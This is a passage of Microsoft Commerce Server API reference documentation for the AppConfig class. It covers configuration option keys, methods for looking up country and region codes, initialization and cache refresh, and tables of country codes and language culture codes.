f_AltCurrencyConversionRate | Currency: Alternate currency conversion Rate
i_AltCurrencyLocale | Currency: Alternate currency locale
i_AltCurrencyOptions | Currency: Alternate currency options
i_BaseCurrencyLocale | Currency: Base currency locale
i_BillingOptions | Payment options: Billing options
i_BizTalkOptions | BizTalk Options
i_CookiePathCorrectionOptions | Cookie Path Correction Options
i_CurrencyDisplayOrderOptions | Currency: Currency display order options
i_DelegatedAdminOptions | Delegated admin options
i_FormLoginOptions | Form login options
i_FormLoginTimeOut | AuthManager Auth ticket Timeout
i_HostNameCorrectionOptions | Host Name Correction Options
i_PaymentOptions | Payment options
i_SitePrivacyOptions | Site privacy options
i_SiteRegistrationOptions | Site registration options
i_SiteTicketOptions | Site ticket options
s_AltCurrencySymbol | Currency: Alternate currency symbol
s_BaseCurrencySymbol | Currency: Base currency symbol
s_BizTalkCatalogDocType | BizTalk Catalog Doc Type
s_BizTalkConnString | BizTalk connection String
s_BizTalkOrderDocType | BizTalk PO Doc Type
s_BizTalkSourceQualifierID | BizTalk Source Org Qualifier
s_BizTalkSourceQualifierValue | BizTalk Org Qualifier Value
s_BizTalkSubmittypeQueue | BizTalk Submit type
s_PageEncodingCharset | Page encoding charset
s_SMTPServerName | SMTP server name
s_WeightMeasure | Unit of Measure for Weight

The following table lists keys in the Dictionary object returned by this method that are not mapped in the MMC.

Programmatic Name | Value or Description
i_IsFullTextSearchInstalled | Indicates whether SQL Server has full text search enabled
s_BizDataStoreConnectionString | Profiles Service: s_BizDataStoreConnectionString
s_CampaignsConnectionString | Campaigns: connstr_db_Campaigns
s_CatalogConnectionString | Product Catalog: connstr_db_Catalog
s_CommerceProviderConnectionString | Profiles Service: s_CommerceProviderConnectionString
s_NonSecureHostname | This value is set in the Global.asa file to the non-secure host name of the application.
s_ProfileServiceConnectionString | Profiles Service: s_ProfileServiceConnectionString
s_SecureHostname | This value is set in the Global.asa file to the secure host name of the application.
s_SiteName | Name of the site
s_TransactionConfigConnectionString | Transaction Config: connstr_db_TransactionConfig
s_TransactionsConnectionString | Transactions: connstr_db_Transactions
[Visual Basic .NET]

Example

' oAppConfig is a Commerce.AppConfig object
' dDictConfig is a Dictionary object
dictConfig = oAppConfig.GetOptionsDictionary("")
For Each sKey In dictConfig
  Response.Write sKey & "=" & dictConfig.Value(sKey)
Next

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: apphelperlib (in apphelperlib.dll)

See Also

AppConfig Class


AppConfig.GetRegionCodeFromCountryCodeAndRegionName Method (PIA)

Use this method to get a String that contains the state/province code for the specified country/region code and state/province name.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetRegionCodeFromCountryCodeAndRegionName(
  bstrCountryCode As String,
  bstrStateName As String
) As String
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public string GetRegionCodeFromCountryCodeAndRegionName(
  string bstrCountryCode,
  string bstrStateName
);

Parameters

[Visual Basic .NET]
bstrCountryCode
A String that contains the code of the country/region for which the state/province code is being requested.
bstrStateName
A String that contains the name of the state/province within the specified country/region for which the state/province code is being requested.
[C#]
bstrCountryCode
A string that contains the code of the country/region for which the state/province code is being requested.
bstrStateName
A string that contains the name of the state within the specified country/region for which the state/province code is being requested.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the requested state/province code. An empty String indicates that the code was not found.

[C#] This method returns a string containing the requested state/province code.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method returns an empty string if the state/province code was not found.

Country/region codes, country/region names, state/province codes, and state/province names are set in Commerce Server Business Desk.

[Visual Basic .NET]

Example

' oAppCfg is a Commerce.AppConfig object, sResult is a string
sResult = oAppCfg.GetRegionCodeFromCountryCodeAndRegionName("us", "Utah")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: apphelperlib (in apphelperlib.dll)

See Also

AppConfig Class

AppConfig.GetCountryCodeFromCountryName

AppConfig.GetCountryNamesList

AppConfig.GetRegionNameFromCountryCodeAndRegionCode Method

AppConfig.GetRegionNamesListFromCountryCode

Table of Country/region Names and Codes


AppConfig.GetRegionNameFromCountryCodeAndRegionCode Method (PIA)

Use this method to get the name of the state/province associated with the specified country/region code and state/province code.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetRegionNameFromCountryCodeAndRegionCode(
  bstrCountryCode As String,
  bstrStateCode As String
) As String
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public string GetRegionNameFromCountryCodeAndRegionCode(
  string bstrCountryCode,
  string bstrStateCode
);

Parameters

[Visual Basic .NET]
bstrCountryCode
A String that contains the code of the country/region for which the state/province name is being requested.
bstrStateCode
A String that contains the code of the state/province within the specified country/region for which the state/province name is being requested.
[C#]
bstrCountryCode
A string that contains the code of the country/region for which the state/province name is being requested.
bstrStateCode
A string that contains the code of the state/province within the specified country/region for which the state/province name is being requested.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the state/province name. If the state/province name is not found, the String will contain the state/province code specified in the bstrStateCode parameter.

[C#] This method returns the state/province name. If the state/province name is not found, the returned string will contain the state/province code specified in the bstrStateCode parameter.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

If the state/province name is not found, this method returns the state/province code specified in the bstrStateCode parameter.

Country/region codes, country/region names, state/province codes, and state/province names may be set in Commerce Server Business Desk.

[Visual Basic .NET]

Example

' oAppCfg is a Commerce.AppConfig object, sResult is a String
sResult = oAppCfg.GetRegionNameFromCountryCodeAndRegionCode("us",  "UT")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: apphelperlib (in apphelperlib.dll)

See Also

AppConfig Class

AppConfig.GetCountryCodeFromCountryName

AppConfig.GetCountryNamesList

AppConfig.GetRegionCodeFromCountryCodeAndRegionName

AppConfig.GetRegionNamesListFromCountryCode

Table of Country/Region Names and Codes


AppConfig.GetRegionNamesListFromCountryCode Method (PIA)

Use this method to retrieve an alphabetical list of state/province names associated with a specified country/region code.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop     ‘ for ISimpleList
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetRegionNamesListFromCountryCode(
  bstrCountryCode As String
) As ISimpleList
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
using Microsoft.CommerceServer.Interop;              //For ISimpleList
…
public ISimpleList GetRegionNamesListFromCountryCode(
  string bstrCountryCode
);

Parameters

[Visual Basic .NET]
bstrCountryCode
A String that contains the code of the country/region for which a list of region names is being requested.
[C#]
bstrCountryCode
A string that contains the code of the country/region for which a list of state/province names is being requested.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a reference to an object that implements the ISimpleList interface that contains an alphabetical list of state/province names associated with the specified country/region code.

[C#] This method returns an ISimpleList interface to a SimpleList object that contains an alphabetical list of state/province names associated with the specified country/region code.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Country/region codes, country/region names, state/province codes, and state/province names are set in Commerce Server Business Desk.

[Visual Basic .NET]

Example

' oAppCfg is a Commerce.AppConfig object
' listRegions is a SimpleList object
listRegions = oAppConfig.GetRegionNamesListFromCountryCode("us")
For Each sRegion In listRegions
  Response.Write sRegion
Next
' The above example will provide a list of USA state names

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: apphelperlib (in apphelperlib.dll)

See Also

AppConfig Class

AppConfig.GetCountryCodeFromCountryName

AppConfig.GetCountryNamesList

AppConfig.GetRegionCodeFromCountryCodeAndRegionName

Table of Country/Region Names and Codes


AppConfig.Initialize Method (PIA)

Use this method to initialize an AppConfig object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub Initialize(
  bstrSiteName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
void Initialize (
  string bstrSiteName
);

Parameters

[Visual Basic .NET]
bstrSiteName
A String that contains the name of the site with which this AppConfig object should be associated. This name is not case sensitive.
[C#]
bstrSiteName
A string that contains the name of the site with which this AppConfig object should be associated. This name is not case sensitive.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The AppConfig object must be initialized before any other method on this object can be used. The initialization usually happens only once in the Global.asax file immediately after the object is created.

[Visual Basic .NET]

Example

' oAppCfg is a Commerce.AppConfig object
oAppCfg.Initialize("Retail")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: apphelperlib (in apphelperlib.dll)

See Also

AppConfig Class

AppConfig.RefreshCache


AppConfig.RefreshCache Method (PIA)

Use this method to refresh the cache associated with the AppConfig object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub RefreshCache()
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void RefreshCache();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Users can add and change country/region and state/province codes and other values from within Commerce Server Business Desk; the RefreshCache method allows you to programmatically incorporate those changes at any time.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: apphelperlib (in apphelperlib.dll)

See Also

AppConfig Class

AppConfig.Initialize


Table of Country/Region Names and Codes (PIA)

Country/region codes may or may not be the same as ISO country/region codes, depending on what values have been added in Business Desk. The following table contains country/region names with their corresponding codes.

Official Short Form | Official Long Form | ISO Code | ISO Short | ISO Long | UN Code | Capital/Major City
Afghanistan | Islamic State of Afghanistan | 4 | AF | AFG | 4 | Kâbul
Albania | Republic of Albania | 8 | AL | ALB | 8 | Tirana
Algeria | Democratic and Popular Republic of Algeria | 12 | DZ | DZA | 12 | Algiers
American Samoa | Territory of American Samoa | 16 | AS | ASM | 16 |
Andorra | Principality of Andorra | 20 | AD | AND | 20 | Andorra la Vella
Angola | Republic of Angola | 24 | AO | AGO | 24 | Luanda
Anguilla |  | 660 | AI | AIA | 660 |
Antarctica |  | 10 | AQ | ATA | 10 |
Antigua and Barbuda | Antigua and Barbuda | 28 | AG | ATG | 28 | St. John's
Argentina | Argentine Republic | 32 | AR | ARG | 32 | Buenos Aires
Armenia | Republic of Armenia | 51 | AM | ARM | 51 | Yerevan
Aruba |  | 533 | AW | ABW | 533 |
Australia | Commonwealth of Australia | 36 | AU | AUS | 36 | Canberra
Austria | Republic of Austria | 40 | AT | AUT | 40 | Vienna
Azerbaijan | Azerbaijani Republic | 31 | AZ | AZE | 31 | Baku
Bahamas, The | The Commonwealth of The Bahamas | 44 | BS | BHS | 44 | Nassau
Bahrain | State of Bahrain | 48 | BH | BHR | 48 | Manama
Bangladesh | People's Republic of Bangladesh | 50 | BD | BGD | 50 | Dhaka
Barbados |  | 52 | BB | BRB | 52 | Bridgetown
Belarus | Republic of Belarus | 112 | BY | BLR | 112 | Minsk
Belgium | Kingdom of Belgium | 56 | BE | BEL | 56 | Brussels
Belize |  | 84 | BZ | BLZ | 84 | Belmopan
Benin | Republic of Benin | 204 | BJ | BEN | 204 | Porto-Novo
Bermuda |  | 60 | BM | BMU | 60 |
Bhutan | Kingdom of Bhutan | 64 | BT | BTN | 64 | Thimphu
Bolivia | Republic of Bolivia | 68 | BO | BOL | 68 | Sucre
Bosnia and Herzegovina | Republic of Bosnia and Herzegovina | 70 | BA | BIH | 70 | Sarajevo
Botswana | Republic of Botswana | 72 | BW | BWA | 72 | Gaborone
Bouvet Island |  | 74 | BV | BVT | - |
Brazil | Federative Republic of Brazil | 76 | BR | BRA | 76 | Brasília
British Indian Ocean Territory | British Indian Ocean Territory | 86 | IO | IOT | - |
Brunei | Negara Brunei Darussalam | 96 | BN | BRN | 96 | Bandar Seri Begawan
Bulgaria | Republic of Bulgaria | 100 | BG | BGR | 100 | Sofia
Burkina Faso |  | 854 | BF | BFA | 854 | Ouagadougou
Burundi | Republic of Burundi | 108 | BI | BDI | 108 | Bujumbura
Côte d'Ivoire | Republic of Côte d'Ivoire | 384 | CI | CIV | 384 | Yamoussoukro
Cambodia | Kingdom of Cambodia | 116 | KH | KHM | 116 | Phnom Penh
Cameroon | Republic of Cameroon | 120 | CM | CMR | 120 | Yaoundé
Canada |  | 124 | CA | CAN | 124 | Ottawa
Cape Verde | Republic of Cape Verde | 132 | CV | CPV | 132 | Praia
Cayman Islands |  | 136 | KY | CYM | 136 |
Central African Republic | Central African Republic | 140 | CF | CAF | 140 | Bangui
Chad | Republic of Chad | 148 | TD | TCD | 148 | N'Djamena
Channel Islands |  | - | GB-CHA | - | 830 |
Chile | Republic of Chile | 152 | CL | CHL | 152 | Santiago
China | People's Republic of China | 156 | CN | CHN | 156 | Beijing
Christmas Island | Territory of Christmas Island | 162 | CX | CXR | - |
Cocos (Keeling) Islands | Territory of Cocos (Keeling) Islands | 166 | CC | CCK | - |
Colombia | Republic of Colombia | 170 | CO | COL | 170 | Santa Fe de Bogotá
Comoros | Federal Islamic Republic of the Comoros | 174 | KM | COM | 174 | Moroni
Congo | Republic of the Congo | 178 | CG | COG | 178 | Brazzaville
Congo (DRC) | Democratic Republic of the Congo | 180 | CD | COD | 180 | Kinshasa
Cook Islands |  | 184 | CK | COK | 184 |
Coral Sea Islands | Coral Sea Islands Territory | - | AU | - | - |
Costa Rica | Republic of Costa Rica | 188 | CR | CRI | 188 | San José
Croatia | Republic of Croatia | 191 | HR | HRV | 191 | Zagreb
Cuba | Republic of Cuba | 192 | CU | CUB | 192 | Havana
Cyprus | Republic of Cyprus | 196 | CY | CYP | 196 | Nicosia
Czech Republic | Czech Republic | 203 | CZ | CZE | 203 | Prague
Denmark | Kingdom of Denmark | 208 | DK | DNK | 208 | Copenhagen
Djibouti | Republic of Djibouti | 262 | DJ | DJI | 262 | Djibouti
Dominica | Commonwealth of Dominica | 212 | DM | DMA | 212 | Roseau
Dominican Republic | Dominican Republic | 214 | DO | DOM | 214 | Santo Domingo
East Timor |  | 626 | TP | TMP | 626 | Dili
Ecuador | Republic of Ecuador | 218 | EC | ECU | 218 | Quito
Egypt | Arab Republic of Egypt | 818 | EG | EGY | 818 | Cairo
El Salvador | Republic of El Salvador | 222 | SV | SLV | 222 | San Salvador
Equatorial Guinea | Republic of Equatorial Guinea | 226 | GQ | GNQ | 226 | Malabo
Eritrea | State of Eritrea | 232 | ER | ERI | 232 | Asmara
Estonia | Republic of Estonia | 233 | EE | EST | 233 | Tallinn
Ethiopia | Federal Democratic Republic of Ethiopia | 231 | ET | ETH | 231 | Addis Ababa
Falkland Islands (Islas Malvinas) | Colony of the Falkland Islands (Islas Malvinas) | 238 | FK | FLK | 238 |
Faroe Islands |  | 234 | FO | FRO | 234 |
Fiji Islands | Republic of the Fiji Islands | 242 | FJ | FJI | 242 | Suva
Finland | Republic of Finland | 246 | FI | FIN | 246 | Helsinki
France | French Republic | 250 | FR | FRA | 250 | Paris
France, Metropolitan |  | 249 | FX | FXX | - |
French Guiana | Department of Guiana | 254 | GF | GUF | 254 |
French Polynesia | Territory of French Polynesia | 258 | PF | PYF | 258 |
French Southern and Antarctic Lands | Territory of the French Southern and Antarctic Lands | 260 | TF | ATF | - |
Gabon | Gabonese Republic | 266 | GA | GAB | 266 | Libreville
Gambia, The | Republic of The Gambia | 270 | GM | GMB | 270 | Banjul
Georgia | Republic of Georgia | 268 | GE | GEO | 268 | T'bilisi
Germany | Federal Republic of Germany | 276 | DE | DEU | 276 | Berlin
Ghana | Republic of Ghana | 288 | GH | GHA | 288 | Accra
Gibraltar |  | 292 | GI | GIB | 292 |
Greece | Hellenic Republic | 300 | GR | GRC | 300 | Athens
Greenland |  | 304 | GL | GRL | 304 |
Grenada |  | 308 | GD | GRD | 308 | St. George's
Guadeloupe | Department of Guadeloupe | 312 | GP | GLP | 312 |
Guam | Territory of Guam | 316 | GU | GUM | 316 |
Guatemala | Republic of Guatemala | 320 | GT | GTM | 320 | Guatemala
Guernsey | Bailiwick of Guernsey | - | GB-GSY | - | - |
Guinea | Republic of Guinea | 324 | GN | GIN | 324 | Conakry
Guinea-Bissau | Republic of Guinea-Bissau | 624 | GW | GNB | 624 | Bissau
Guyana | Cooperative Republic of Guyana | 328 | GY | GUY | 328 | Georgetown
Haiti | Republic of Haiti | 332 | HT | HTI | 332 | Port-au-Prince
Heard Island and McDonald Islands | Territory of Heard Island and McDonald Islands | 334 | HM | HMD | - |
Honduras | Republic of Honduras | 340 | HN | HND | 340 | Tegucigalpa
Hong Kong SAR | Hong Kong Special Administrative Region | 344 | HK | HKG | 344 |
Hungary | Republic of Hungary | 348 | HU | HUN | 348 | Budapest
Iceland | Republic of Iceland | 352 | IS | ISL | 352 | Reykjavík
India | Republic of India | 356 | IN | IND | 356 | New Delhi
Indonesia | Republic of Indonesia | 360 | ID | IDN | 360 | Jakarta
Iran | Islamic Republic of Iran | 364 | IR | IRN | 364 | Tehran
Iraq | Republic of Iraq | 368 | IQ | IRQ | 368 | Baghdad
Ireland | Republic of Ireland | 372 | IE | IRL | 372 | Dublin
Israel | State of Israel | 376 | IL | ISR | 376 | Jerusalem
Italy | Italian Republic | 380 | IT | ITA | 380 | Rome
Jamaica |  | 388 | JM | JAM | 388 | Kingston
Japan |  | 392 | JP | JPN | 392 | Tokyo
Jersey | Bailiwick of Jersey | - | GB-JSY | - | - |
Jordan | Hashemite Kingdom of Jordan | 400 | JO | JOR | 400 | Amman
Kazakhstan | Republic of Kazakhstan | 398 | KZ | KAZ | 398 | Astana
Kenya | Republic of Kenya | 404 | KE | KEN | 404 | Nairobi
Kiribati | Republic of Kiribati | 296 | KI | KIR | 296 | Bairiki
Korea | Republic of Korea | 410 | KR | KOR | 410 | Seoul
Kuwait | State of Kuwait | 414 | KW | KWT | 414 | Kuwait
Kyrgyzstan | Kyrgyz Republic | 417 | KG | KGZ | 417 | Bishkek
Laos | Lao People's Democratic Republic | 418 | LA | LAO | 418 | Vientiane
Latvia | Republic of Latvia | 428 | LV | LVA | 428 | Riga
Lebanon | Republic of Lebanon | 422 | LB | LBN | 422 | Beirut
Lesotho | Kingdom of Lesotho | 426 | LS | LSO | 426 | Maseru
Liberia | Republic of Liberia | 430 | LR | LBR | 430 | Monrovia
Libya | Socialist People's Libyan Arab Jamahiriya | 434 | LY | LBY | 434 | Tripoli
Liechtenstein | Principality of Liechtenstein | 438 | LI | LIE | 438 | Vaduz
Lithuania | Republic of Lithuania | 440 | LT | LTU | 440 | Vilnius
Luxembourg | Grand Duchy of Luxembourg | 442 | LU | LUX | 442 | Luxembourg
Macau SAR | Macau Special Administrative Region | 446 | MO | MAC | 446 |
Macedonia, Former Yugoslav Republic of | The Former Yugoslav Republic of Macedonia | 807 | MK | MKD | 807 | Skopje
Madagascar | Republic of Madagascar | 450 | MG | MDG | 450 | Antananarivo
Malawi | Republic of Malawi | 454 | MW | MWI | 454 | Lilongwe
Malaysia | Federation of Malaysia | 458 | MY | MYS | 458 | Kuala Lumpur
Maldives | Republic of Maldives | 462 | MV | MDV | 462 | Malé
Mali | Republic of Mali | 466 | ML | MLI | 466 | Bamako
Malta | Republic of Malta | 470 | MT | MLT | 470 | Valletta
Man, Isle of |  | - | GB-IOM | - | 833 |
Marshall Islands | Republic of the Marshall Islands | 584 | MH | MHL | 584 | Majuro
Martinique | Department of Martinique | 474 | MQ | MTQ | 474 |
Mauritania | Islamic Republic of Mauritania | 478 | MR | MRT | 478 | Nouakchott
Mauritius | Republic of Mauritius | 480 | MU | MUS | 480 | Port Louis
Mayotte | Territorial Collectivity of Mayotte | 175 | YT | MYT | - |
Mexico | United Mexican States | 484 | MX | MEX | 484 | Mexico City
Micronesia | Federated States of Micronesia | 583 | FM | FSM | 583 | Palikir
Moldova | Republic of Moldova | 498 | MD | MDA | 498 | Chiºinãu
Monaco | Principality of Monaco | 492 | MC | MCO | 492 | Monaco
Mongolia |  | 496 | MN | MNG | 496 | Ulaanbaatar
Montserrat |  | 500 | MS | MSR | 500 |
Morocco | Kingdom of Morocco | 504 | MA | MAR | 504 | Rabat
Mozambique | Republic of Mozambique | 508 | MZ | MOZ | 508 | Maputo
Myanmar | Union of Myanmar | 104 | MM | MMR | 104 | Yangon (Rangoon)
Namibia | Republic of Namibia | 516 | NA | NAM | 516 | Windhoek
Nauru | Republic of Nauru | 520 | NR | NRU | 520 | Yaren
Nepal | Kingdom of Nepal | 524 | NP | NPL | 524 | Kathmandu
Netherlands Antilles |  | 530 | AN | ANT | 530 |
Netherlands, The | Kingdom of the Netherlands | 528 | NL | NLD | 528 | Amsterdam
New Caledonia | Territory of New Caledonia and Dependencies | 540 | NC | NCL | 540 |
New Zealand |  | 554 | NZ | NZL | 554 | Wellington
Nicaragua | Republic of Nicaragua | 558 | NI | NIC | 558 | Managua
Niger | Republic of Niger | 562 | NE | NER | 562 | Niamey
Nigeria | Federal Republic of Nigeria | 566 | NG | NGA | 566 | Abuja
Niue |  | 570 | NU | NIU | 570 |
Norfolk Island | Territory of Norfolk Island | 574 | NF | NFK | 574 |
North Korea | Democratic People's Republic of Korea | 408 | KP | PRK | 408 | Pyongyang
Northern Mariana Islands | Commonwealth of the Northern Mariana Islands | 580 | MP | MNP | 580 |
Norway | Kingdom of Norway | 578 | NO | NOR | 578 | Oslo
Oman | Sultanate of Oman | 512 | OM | OMN | 512 | Masqaþ
Pakistan | Islamic Republic of Pakistan | 586 | PK | PAK | 586 | Islâmâbâd
Palau | Republic of Palau | 585 | PW | PLW | 585 | Koror
Panama | Republic of Panama | 591 | PA | PAN | 591 | Panama City
Papua New Guinea | Independent State of Papua New Guinea | 598 | PG | PNG | 598 | Port Moresby
Paraguay | Republic of Paraguay | 600 | PY | PRY | 600 | Asunción
Peru | Republic of Peru | 604 | PE | PER | 604 | Lima
Philippines | Republic of the Philippines | 608 | PH | PHL | 608 | Manila
Pitcairn Islands | Pitcairn, Henderson, Ducie, and Oeno Islands | 612 | PN | PCN | 612 |
Poland | Republic of Poland | 616 | PL | POL | 616 | Warsaw
Portugal | Portuguese Republic | 620 | PT | PRT | 620 | Lisbon
Puerto Rico | Commonwealth of Puerto Rico | 630 | PR | PRI | 630 |
Qatar | State of Qatar | 634 | QA | QAT | 634 | Doha
Reunion | Department of Reunion | 638 | RE | REU | 638 |
Romania |  | 642 | RO | ROM | 642 | Bucharest
Russia | Russian Federation | 643 | RU | RUS | 643 | Moscow
Rwanda | Rwandese Republic | 646 | RW | RWA | 646 | Kigali
São Tomé and Príncipe | Democratic Republic of São Tomé and Príncipe | 678 | ST | STP | 678 | São Tomé
Samoa | Independent State of Samoa | 882 | WS | WSM | 882 | Apia
San Marino | Republic of San Marino | 674 | SM | SMR | 674 | San Marino
Saudi Arabia | Kingdom of Saudi Arabia | 682 | SA | SAU | 682 | Riyadh
Senegal | Republic of Senegal | 686 | SN | SEN | 686 | Dakar
Seychelles | Republic of Seychelles | 690 | SC | SYC | 690 | Victoria
Sierra Leone | Republic of Sierra Leone | 694 | SL | SLE | 694 | Freetown
Singapore | Republic of Singapore | 702 | SG | SGP | 702 | Singapore
Slovakia | Slovak Republic | 703 | SK | SVK | 703 | Bratislava
Slovenia | Republic of Slovenia | 705 | SI | SVN | 705 | Ljubljana
Solomon Islands |  | 90 | SB | SLB | 90 | Honiara
Somalia | Somali Democratic Republic | 706 | SO | SOM | 706 | Mogadishu
South Africa | Republic of South Africa | 710 | ZA | ZAF | 710 | Pretoria
South Georgia and the South Sandwich Islands | South Georgia and the South Sandwich Islands | 239 | GS | SGS | - |
Spain | Kingdom of Spain | 724 | ES | ESP | 724 | Madrid
Sri Lanka | Democratic Socialist Republic of Sri Lanka | 144 | LK | LKA | 144 | Sri Jayawardenepura
St. Helena | Saint Helena | 654 | SH | SHN | 654 |
St. Kitts and Nevis | Federation of Saint Kitts and Nevis | 659 | KN | KNA | 659 | Basseterre
St. Lucia | Saint Lucia | 662 | LC | LCA | 662 | Castries
St. Pierre and Miquelon | Territorial Collectivity of Saint Pierre and Miquelon | 666 | PM | SPM | 666 |
St. Vincent and the Grenadines | Saint Vincent and the Grenadines | 670 | VC | VCT | 670 | Kingstown
Sudan | Republic of the Sudan | 736 | SD | SDN | 736 | Khartoum
Suriname | Republic of Suriname | 740 | SR | SUR | 740 | Paramaribo
Svalbard and Jan Mayen |  | 744 | SJ | SJM | 744 |
Swaziland | Kingdom of Swaziland | 748 | SZ | SWZ | 748 | Mbabane
Sweden | Kingdom of Sweden | 752 | SE | SWE | 752 | Stockholm
Switzerland | Swiss Confederation | 756 | CH | CHE | 756 | Bern
Syria | Syrian Arab Republic | 760 | SY | SYR | 760 | Damascus
Taiwan | Taiwan | 158 | TW | TWN | 158 | Taipei
Tajikistan | Republic of Tajikistan | 762 | TJ | TJK | 762 | Dushanbe
Tanzania | United Republic of Tanzania | 834 | TZ | TZA | 834 | Dar es Salaam
Thailand | Kingdom of Thailand | 764 | TH | THA | 764 | Bangkok
Togo | Togolese Republic | 768 | TG | TGO | 768 | Lomé
Tokelau |  | 772 | TK | TKL | 772 |
Tonga | Kingdom of Tonga | 776 | TO | TON | 776 | Nuku'alofa
Trinidad and Tobago | Republic of Trinidad and Tobago | 780 | TT | TTO | 780 | Port-of-Spain
Tunisia | Republic of Tunisia | 788 | TN | TUN | 788 | Tunis
Turkey | Republic of Turkey | 792 | TR | TUR | 792 | Ankara
Turkmenistan | Republic of Turkmenistan | 795 | TM | TKM | 795 | Ashgabat
Turks and Caicos Islands |  | 796 | TC | TCA | 796 |
Tuvalu |  | 798 | TV | TUV | 798 | Funafuti
U.S. Minor Outlying Islands | United States Minor Outlying Islands | 581 | UM | UMI | 581 |
Uganda | Republic of Uganda | 800 | UG | UGA | 800 | Kampala
Ukraine |  | 804 | UA | UKR | 804 | Kyiv
United Arab Emirates |  | 784 | AE | ARE | 784 | Abu Dhabi
United Kingdom | United Kingdom of Great Britain and Northern Ireland | 826 | GB | GBR | 826 | London
United States | United States of America | 840 | US | USA | 840 | Washington, D.C.
Uruguay | Oriental Republic of Uruguay | 858 | UY | URY | 858 | Montevideo
Uzbekistan | Republic of Uzbekistan | 860 | UZ | UZB | 860 | Toshkent
Vanuatu | Republic of Vanuatu | 548 | VU | VUT | 548 | Port-Vila
Vatican City | State of Vatican City | 336 | VA | VAT | 336 | Vatican City
Venezuela | Bolivarian Republic of Venezuela | 862 | VE | VEN | 862 | Caracas
Viet Nam | Socialist Republic of Vietnam | 704 | VN | VNM | 704 | Hanoi
Virgin Islands | Virgin Islands of the United States | 850 | VI | VIR | 850 |
Virgin Islands, British |  | 92 | VG | VGB | 92 |
Wallis and Futuna | Territory of the Wallis and Futuna Islands | 876 | WF | WLF | 876 |
Yemen | Republic of Yemen | 887 | YE | YEM | 887 | Sana'a
Yugoslavia | Federal Republic of Yugoslavia | 891 | YU | YUG | 891 | Belgrade
Zambia | Republic of Zambia | 894 | ZM | ZMB | 894 | Lusaka
Zimbabwe | Republic of Zimbabwe | 716 | ZW | ZWE | 716 | Harare


Table of Language Culture Names, Codes, and ISO Values (PIA)

The following table contains values for language culture names, display names, culture codes, and ISO 639x values that are used by Commerce Server.

Language Culture Name | Display Name | Culture Code | ISO 639x Value
af-ZA | Afrikaans - South Africa | 0x0436 | AFK
sq-AL | Albanian - Albania | 0x041C | SQI
ar-DZ | Arabic - Algeria | 0x1401 | ARG
ar-BH | Arabic - Bahrain | 0x3C01 | ARH
ar-EG | Arabic - Egypt | 0x0C01 | ARE
ar-IQ | Arabic - Iraq | 0x0801 | ARI
ar-JO | Arabic - Jordan | 0x2C01 | ARJ
ar-KW | Arabic - Kuwait | 0x3401 | ARK
ar-LB | Arabic - Lebanon | 0x3001 | ARB
ar-LY | Arabic - Libya | 0x1001 | ARL
ar-MA | Arabic - Morocco | 0x1801 | ARM
ar-OM | Arabic - Oman | 0x2001 | ARO
ar-QA | Arabic - Qatar | 0x4001 | ARQ
ar-SA | Arabic - Saudi Arabia | 0x0401 | ARA
ar-SY | Arabic - Syria | 0x2801 | ARS
ar-TN | Arabic - Tunisia | 0x1C01 | ART
ar-AE | Arabic - United Arab Emirates | 0x3801 | ARU
ar-YE | Arabic - Yemen | 0x2401 | ARY
hy-AM | Armenian - Armenia | 0x042B |
Cy-az-AZ | Azeri (Cyrillic) - Azerbaijan | 0x082C |
Lt-az-AZ | Azeri (Latin) - Azerbaijan | 0x042C |
eu-ES | Basque - Basque | 0x042D | EUQ
be-BY | Belarusian - Belarus | 0x0423 | BEL
bg-BG | Bulgarian - Bulgaria | 0x0402 | BGR
ca-ES | Catalan - Catalan | 0x0403 | CAT
zh-CN | Chinese - China | 0x0804 | CHS
zh-HK | Chinese - Hong Kong SAR | 0x0C04 | ZHH
zh-MO | Chinese - Macau SAR | 0x1404 |
zh-SG | Chinese - Singapore | 0x1004 | ZHI
zh-TW | Chinese - Taiwan | 0x0404 | CHT
zh-CHS | Chinese (Simplified) | 0x0004 |
zh-CHT | Chinese (Traditional) | 0x7C04 |
hr-HR | Croatian - Croatia | 0x041A | HRV
cs-CZ | Czech - Czech Republic | 0x0405 | CSY
da-DK | Danish - Denmark | 0x0406 | DAN
div-MV | Dhivehi - Maldives | 0x0465 |
nl-BE | Dutch - Belgium | 0x0813 | NLB
nl-NL | Dutch - The Netherlands | 0x0413 |
en-AU | English - Australia | 0x0C09 | ENA
en-BZ | English - Belize | 0x2809 | ENL
en-CA | English - Canada | 0x1009 | ENC
en-CB | English - Caribbean | 0x2409 |
